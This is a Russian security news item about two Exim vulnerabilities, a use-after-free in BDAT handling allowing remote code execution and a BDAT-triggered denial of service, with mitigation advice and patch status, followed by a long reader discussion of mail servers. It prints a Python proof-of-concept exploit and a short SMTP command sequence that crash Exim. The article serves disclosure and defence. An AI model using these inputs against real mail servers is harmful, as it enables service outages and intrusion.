В почтовом сервере Exim выявлена (https://lists.exim.org/lurker/message/20171125.034842.d1d75c...) критическая уязвимость (CVE-2017-16943 (https://security-tracker.debian.org/tracker/CVE-2017-16943)), которая может привести к удалённому выполнению кода на сервере с правами управляющего процесса exim при передаче определённым образом оформленных команд. Всем пользователям Exim в срочном порядке рекомендуется отключить расширение "ESMTP CHUNKING" (появилось с Exim 4.88) путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации.Уязвимость вызвана (https://bugs.exim.org/show_bug.cgi?id=2199) ошибкой, которая может привести к обращению к уже освобождённому блоку памяти в коде разбора заголовков почтового сообщения (функция receive_msg из файла receive.c). Заявлено, что известный вектор атаки применим только к веткам Exim 4.88 и 4.89, в которых поддерживается команда BDAT и расширение "ESMTP CHUNKING", которые применяются для кусочной передачи тела письма вместо передачи неделимым блоком при помощи команды DATA. При этом сторонние исследователи безопасности не исключают (https://bugzilla.novell.com/show_bug.cgi?id=CVE-2017-16943) выявление других методов эксплуатации уязвимости.
Так как сведения об уязвимости были оглашены (https://bugs.exim.org/show_bug.cgi?id=2199) через публично доступную систему отслеживания ошибок, без предварительного информирования в частном порядке, информация об уязвимости опубликована разработчиками Exim ещё до выпуска обновления с устранением уязвимости. Для применения также доступен предварительный вариант патча (https://git.exim.org/exim.git/commitdiff/4e6ae6235c68de243b1...). Обновление пакетов уже доступно для FreeBSD (http://www.vuxml.org/freebsd/68b29058-d348-11e7-b9fe-c13eb7b...). Проблема остаётся неисправленной в Debian (https://security-tracker.debian.org/tracker/CVE-2017-16943) (stretch), openSUSE (https://lists.opensuse.org/opensuse-security-announce/2017-11/), SUSE (https://www.suse.com/support/update/), Fedora (https://bodhi.fedoraproject.org/updates/?releases=F27&type=s...), Ubuntu (https://usn.ubuntu.com/usn/), RHEL/EPEL (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-16943).Для проверки подверженности систем уязвимости подготовлен прототип эксплоита (https://bugs.exim.org/attachment.cgi?id=1052), который сводится к передаче несуществующей команды с последующей отправкой команды "BDAT 1", команды BDAT без указания размера и большой порции непечатных символов. Пример на Python:
from pwn import *
r = remote('localhost', 25)r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:")
r.recvline()
r.sendline("RCPT TO:")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'\x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
r.interactive()
exit()
Кроме того, в Exim дополнительно выявлена (https://bugs.exim.org/show_bug.cgi?id=2201) ещё одна уязвимость в реализации "ESMTP CHUNKING" (CVE-2017-16944 (https://security-tracker.debian.org/tracker/CVE-2017-16944)), позволяющая вызвать отказ в обслуживании. Проблема также присутствует в функции receive_msg из файла receive.c, но связана с некорректной проверкой символа "." в конце блока, переданного командой BDAT. Уязвимость приводит к бесконечному зацикливанию внутри функции bdat_getc и краху рабочего процесса из-за истечения свободной памяти, отведённой под стек. Для эксплуатации достаточно передать команды:EHLO localhost
MAIL FROM:
RCPT TO:
BDAT 10
.
BDAT 0
URL: http://openwall.com/lists/oss-security/2017/11/25/2
Новость: http://www.opennet.me/opennews/art.shtml?num=47633
Эх, сишники... В своем репертуаре
Postfix тоже на Си, но обязательные для выполнения правила безопасного кодирования, набор безопасных функций, жесткое рецензирование и предварительный аудит, позволяют поддерживать высокую безопасного кода.В Exim же, на примере "ESMTP CHUNKING" и стабильно всплывающих раз в полгода похожих уязвимостей, видно, что достаточно сырой код принимают лишь после беглого тестирования обработки штатных ситуаций и без аудита кода.
>Postfix тоже на СиХе-хе ... ну признают уже что это - лучший патч к Ыкзиму или ещё побарахтаются? :)
Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с ограниченными правами и даже в случае эксплуатации уязвимости не всегда можно воспользоваться результатом. Экзим со всех сторон кусок гогна.
> Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с
> ограниченными правами и даже в случае эксплуатации уязвимости не всегда можно
> воспользоваться результатом. Экзим со всех сторон кусок гогна.угу, из второго поколения MTA (вернее из троицы Exim/Postfix/Qmail) монолитен токо Exim...
история со Sendmail учит, что ничему не учит
> Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с
> ограниченными правами и даже в случае эксплуатации уязвимости не всегда можно
> воспользоваться результатом. Экзим со всех сторон кусок гогна.Тогда и nginx аналогичный кусок? Потому что принцип работы у них вообще-то схож.
> Эх, сишники... В своем репертуареРаньше и https://security-tracker.debian.org/tracker/CVE-2017-16943 Debian-ы были зеленее!
---"Эх, внучо-о-о-к..."
Тут согласен. :( Все толковые пиплы или уже в рх или пошли ветром гонимые ...
Быстрый и сопоставимо с postfix/exim функциональный MTA на чём-то кроме C в студию.
так безопасней на пхп написать там же текстовый протокол
А давай! :)
чуть ли не netch@ помнится, когда-то выкладывал на awk. Ну а чо, текстовый же ж протокол...в нем, правда, через неделю нашли пару дыр ;-)
> в нем, правда, через неделю нашли пару дыр ;-)Текстовым протоколам очень удобно через всякие escape и спецтрактовки символов подсовывать разные приколы. Башевики-затейники одарили мир рутом по DHCP.
Я ярый противник текстовых
>3.14, Sw00p aka Jerom, 15:17, 27/11/2017
>так безопасней на пхп написать там же текстовый протокол
>5.43, Sw00p aka Jerom, 21:42, 27/11/2017
>Я ярый противник текстовыхЗа четыре часа полностью отдалась. Слаба на передок, тчк. 8-)))))
Говорят нынче люди достаточно быстрые штуки на Go пишут, например.
> Говорят нынче люди достаточно быстрые штуки на Go пишут, например.А когда ими начнет кто-нибудь пользоваться - о них тоже станет известно много нового и интересного. Нуачо, на питоне смогли, на яве смогли, на яваскрипте смогли, на рубях смогли, на пыхе смогли, на аде смогли. Думаешь, Go всех спасет?
Haraka. Рвет Postfix и Exim по скорости, как тузик грелку. Ни один другой MTA на 2-х ядрах CPU не обрабатывает 200 писем в секунду, позволяя еще и Rspamd их все отсканировать. Ну и фич там слегка так поболее, чем в Exim/Postfix.
"Haraka is an open source SMTP server written in Node.js ..."Свят-свят-свят, упаси ! А потом прилетит leftpad и вся почта вашего СЕО улетит к его бывшей :)
Да, лучше RCE. Ну и как бы node.js != leftpad и вебмакакам.
>Ну и как бы node.js != leftpad и вебмакакам.Настало время *** историй! (С)
8-)
> Ну и как бы node.js != leftpad и вебмакакам.Создайте ЯП которым может пользоваться даже вебмакака - и только вебмакака захочет этим пользоваться.
Попадались описания инсталляций Exim обрабатывающие ~ 1000 в секунду. Но я не в курсе что там с железом. И спул там в RAM был точно.
Это не сишники, это вумный прохвессор и славные дебианщики, предлагающие решетчатое изделие по умолчанию.
> Это не сишники, это вумный прохвессорНе путаешь https://en.wikipedia.org/wiki/Philip_Hazel с djb@qmail.fame ?
>и славные дебианщики, предлагающие решетчатое изделие
> по умолчанию.
>> Это не сишники, это вумный прохвессортот прохвессор давно уже покинул свой профессорский пост, и занимается какой-то неведомой херней под названием pcre2. Где оная херня используется и для чего хороша (в отличие от pcre-просто, которую он писал тогда же, когда и exim и, собственно, для него, и тоже забил - она-то нынче примерно везде) - ученые спорят...
Надеюсь, это трендовые, британские учёные?
ну кембридж же ж, какие еще там должны быть...
> ну кембридж же ж, какие еще там должны быть...Кембрижско-масачусетско-кейптаунские космополиты, 1шт. ?
>>> Это не сишники, это вумный прохвессор
> тот прохвессор давно уже покинул свой профессорский пост, и занимается какой-то неведомойОн-таки не профессор, а админ за всё комп.оборудование в [Кембридже?].
105 страниц http://people.ds.cam.ac.uk/ph10/CIHK.pdf лёгкого чтения с каринками...
> херней под названием pcre2. Где оная херня используется и для чего
> хороша (в отличие от pcre-просто, которую он писал тогда же, когда...раскроют все мельчайшие подробности автобиографии и проектов ситуайена.
> и exim и, собственно, для него, и тоже забил - она-то
> нынче примерно везде) - ученые спорят...
>105 страниц http://people.ds.cam.ac.uk/ph10/CIHK.pdf лёгкого чтения с каринками...Andrey Mitrofanov - спасибо за книжку! Читаю и нравиЦЦо :)
> Эх, сишники... В своем репертуареТы так говоришь, как будто ошибки в софте делают только сишники.
шо, опять? (даже в предложенных новостях - одни уязвимости в сабже)
> даже в предложенных новостях - одни уязвимости в сабжепотому что новостей типа "а мы chunked smtp изобрели, для совместимости с не знаем пока, чем" на опеннет как-то никто не приносит.
админов, действительно умеющих настраивать exim, а не выполняющих пункты найденых гуглем непойми-чьих инструкций и хауту десятилетней свежести, мало, у большинства "все работает" на версии десятилетней давности, и им это тоже неинтересно.
> потому что новостей типа "а мы chunked smtp изобрели, для совместимости с
> не знаем пока, чем" на опеннет как-то никто не приносит.Справедливости ради его изобрели уж скоро как 20 лет
https://www.ietf.org/rfc/rfc3030.txt> админов, действительно умеющих настраивать exim, а не выполняющих пункты найденых гуглем
> непойми-чьих инструкций и хауту десятилетней свежести, малоА вот тут таки да.
> Справедливости ради его изобрели уж скоро как 20 летинтересней другое, где и зачем оно поддерживается? chunked наверное гугль умеет, но оно совершенно непойми зачем нужно, а BDAT по-моему только exchange из распространенного. 20 лет назад это, наверное, казалось хорошей идеей.
> А вот тут таки да.
вы таки будете смеяться, но только что видел. В смысле, не админа, но его exim.
жаль что их предложение поработать немного не вовремя за те деньги :-(P.S. и нет, rfc3030 там нет - либо уже отключили, либо никогда и не было.
> интересней другое, где и зачем оно поддерживается?Да там же в RFC и написано зачем - чтобы аттачи гнать в бинарной, а не base64 форме, сокращая трафик. Хотя 8BITMIME тоже теперь есть.
> путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурацииВ котором? :)
Очевидно же exim.conf
Ну-ну. Вот только в дебианбэйзед дистрибутивах какой-то умственно отсталый напилил конфиг на 100500 мелких конфигов, и там сейчас сам черт ногу сломит.
Умственно отсталые разве что те, кто рассказывает эту страшную сказку. На деле ничто не мешает в debian использовать обычный exim4.conf. Просто, в отличии от других дистров, дебиан предлагает еще два дополнительных варианта при конфигурации через debconf: монолитный конфиг с макросами и разбиение конфига на кучу мелких файлов. Преимущества, недостатки и детали использования всех трех способов описаны в README. В том числе там есть такое:
If you are only running a small number of systems and want to
completely disable Debian's magic, just take your monolithic
configuration file and install it as /etc/exim4/exim4.conf. Exim will
use that file verbatim.
> Ну-ну. Вот только в дебианбэйзед дистрибутивах какой-то умственно отсталый напилил конфиг
> на 100500 мелких конфигов, и там сейчас сам черт ногу сломит.Да, еще и файлы осмысленно называют. Намного лучше когда 5 страниц текста одним файлом вывалено.
Эм... Exim 4.89-2+deb9u1, в конфиге ничего специально не писал, на BDAT ругается что CHUNKING is not advertised.
Это его надо было специально включать, что ли?
chunking_advertise_hosts = *
С
секьюрно
А подобные ляпы в postfix были? Что-то не припоминаю.
> А подобные ляпы в postfix были? Что-то не припоминаю.а он что, chunked smtp научился, что-ли? Или binary mime?
если ничего толком не уметь, то и ляпов не будет.впрочем, его самый главный ляп - mynetworks_style=subnet в конфиге по умолчанию. Двадцать лет, жеванный крот, openrelay в каждой дефолтной поставке (особенно интересно взаимодействие этой опции с multihomed хостом, а ведь большинство наколеночных почтовых серверов именно такие).
Да, большинство разработчиков дистрибутивов это знает, и исправляет при пакетировании, но спам с открытых всему миру релеев на постфиксе держит почетное второе место после затрояненных серверов.
>а он что, chunked smtp научился, что-ли? Или binary mime?А оно куму то уперлось?
>если ничего толком не уметь, то и ляпов не будет.Дооооо! Postfix умеет надёжно и быстро принимать и доставлять почту. А ыкзим - нет, зато умеет тону свистелок и пер*лок. Трудный выбор, да :)
(Ну это я стебусь, экзим _внутри_ защищённой сети иногда очень облегчает, да :)
>впрочем, его самый главный ляп - mynetworks_style=subnet в конфиге по умолчанию.
Где именно? Я вот такого не нашёл ... ***ть изволите? :) Во всех системах на которых пришлось его поднимать у него простенький интерактивный конфигуратор есть, которых все проходят на на, от**сь и потом вливают реальную конфигурацию. А вот почему ты об жтом не знал многое говорит о тебе :)
тут серьезные дяди общаются, а не осиляторы конфигураторов.
http://www.postfix.org/postconf.5.html#mynetworks_style
дефолтный конфиг до 3.0 открывает релай для локальных сегментов, например для всех соседей снаружи :)
там интересней, оно как-то так удивительно вычисляло эту subnet, когда интерфейсов больше одного, что получался то ли mask overlap, то ли еще какая ошибка - но в общем, в результате открывалось если и не вообще всем, то половине мира, я наткнулся на эти грабли именно в сети, где subnet казался _правильным_ вариантом, чужие там не ходили.В 3.0, если что, проблему не искоренили (а то ж мы ж порушим совместимость с осиляторами автоконфигураторов), а только слегка прикрыли половичком, посмотри там в чего-то .h (лень качать, он очевидный) на игры вокруг compatibility_level, которые вытаскивают из могилки старое поведение, если попался старый конфиг ;-) Или ты думаешь, спам мне по сей день падает с аутентичных 2.2.0 ? ;-)
Тьфу, допёрло о чем вы тут :)
Ну и:
>mynetworks_style (default: Postfix ≥ 3.0: host, Postfix < 3.0: subnet)Так что как бе - да :)
Дык на 127.0.0.1
> Дык на 127.0.0.1и тут тоже забавно. Чтобы *снять* sendmail с этого ручника - надо прочитать документацию. ("не man page, а документацию!" (c) )
Чтобы *поставить* postfix в такой конфигурации - нужна совершенно неочевидная правка в совершенно неочевидном файле причудливого синтаксиса (к счастью, большинство дистрибутивов делают это за незадачливого юзверя), спасибо, хоть в мане описанного.А вот в каком, чорт побери, месте трехстастраничного экзимовского талмуда (вот уж точно профессор писал, мля. Точнее, руками водил, писали-то аспиранты, разумеется - "таааак...тут переделайте...это неточно...здесь мне не нравится" - пока писавший уже сам не переставал понимать смысла текста) описана local_interfaces - я хз. Где-то, вероятно, описана. Но в дефолтном конфиге ее вовсе нет, даже в закомментированном виде - чтоб найти ее хотя бы до того, как неудачник прочитает двадцать страниц неудобоваримого бреда про acl'и и все с ними связанное.
в конфиге, идущем в большинстве дистрибутивных пакетов, тоже нету, потому что это... ну да, вы угадали, тот самый configure.default как он есть.
Правда, политкорректно переименованный зачем-то в exim.confто есть любой свежеустановленный exim сразу же рвется слушать внешние интерфейсы. Спасибо что хоть не релеит - это недолго исправить, но, обычно, до этого места недочитывают и установлен оказывается postfix.
Какой-то поток сознания
> А подобные ляпы в postfix были? Что-то не припоминаю.$фейворит_сиёрч_нжин тебе стальные руки-крылья не дал или склероз память укоротил?--
Напр., https://security-tracker.debian.org/tracker/source-package/p...Крэши там есть. Вот исполнения кода с правами управляющего -- не знаю. Может и не быть, наверное, чисто архитектурно.
Но ты проверь -- чтоб _помнить_ уже точно, и нам напоминай уже точно-точно.
Все равно его не брошу, потому что он хороший! :)
> с последующей отправкой [...] большой порции непечатных символов.Мне одному весело от большой порции непечатных символов?
Порнографических эмотиконов?
> расширение "ESMTP CHUNKING" (появилось в Exim 4.88)Пользователи свежего модного молодёжного хайпа должны страдать.
А зачем все это включают в основную ветку? От почтового сервера нужно принять соединения и сохранить в файл. Зачем все это BDAT и прочее?
> ESMTP CHUNKINGЧто это и зачем оно ненужно?